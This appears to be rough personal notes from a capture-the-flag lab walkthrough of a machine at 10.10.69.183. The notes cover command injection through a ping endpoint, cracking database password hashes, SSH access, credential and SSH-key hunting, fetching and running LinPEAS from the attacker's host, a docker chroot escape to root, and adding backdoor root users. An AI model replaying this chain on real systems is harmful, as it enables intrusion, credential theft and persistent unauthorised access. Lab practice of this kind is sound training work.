what I did wrong. I did not look into JS and try to see what happens if we manually do what it’s doing
we should’ve went to the website and tried to see the API.
We can ping using the web page. Can we add commands after?
; ls -lano
&& ls -lano
back ticks take precedent over other commands:
10.10.69.183:8081/ping?ip=`ls -la`we find a file:
utech.db.sqliteCat it out:
cat utech.db.sqliteWe get hash(es?):
(Mr00tf357a0c52799563c7c7b76c1e7543a32)Madmin0d0ea5111e3c1def594c1684e3b9be84Possibly for users:
Mr00t
MadminCracked:
f357a0c52799563c7c7b76c1e7543a32:n100906
0d0ea5111e3c1def594c1684e3b9be84:mrsheafytry them:
r00t:n100906
admin:mrsheafyssh r00t@10.10.69.183
n100906worked!
sudo -l
grep --color=auto -rnw '/' -ie "PASSWORD=" --color=always 2> /dev/null
find / -name authorized_keys 2> /dev/null
find / -name id_rsa 2> /dev/null
history
find / -perm -u=s -type f 2>/dev/null
find / -type f -perm -04000 -ls 2>/dev/null
dpkg -l | grep nginx
getcap -r / 2>/dev/null
envnothing!
Automated script time.
host up LinPEAS:
python3 -m http.server 80on victim:
wget http://10.6.62.12/linpeas.shgive it execute perms:
chmod +x linpeas.shrun it:
./linpeas.shIt showed docker with red/yellow. How can we use it? Try GTFOBins?
docker run -v /:/mnt --rm -it bash chroot /mnt shwe run whatever we want. This command runs alpine. We run bash.
we get a shell
whoami
#root
cd root
ls
cat private.txtnot the flag?
ls -lathere’s SSH folder
cd .sshwe get the id_rsa
SSH Keys
copy the id_rsa and make it a file on Kali machine:
mousepad id_rsachange perms to use it to connect:
chmod 600 id_rsaconnect with it:
ssh -i id_rsa root@10.10.69.183ssh -l root 10.10.69.183 -i id_rsa -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=+ssh-rsaneither working. Can we give ourselves a sudo user?
useradd bmw -m -G sudo --password 340ididn’t work?
adduser -u 0 -g root -G root -s /bin/bash -r HackerS2H -p 123456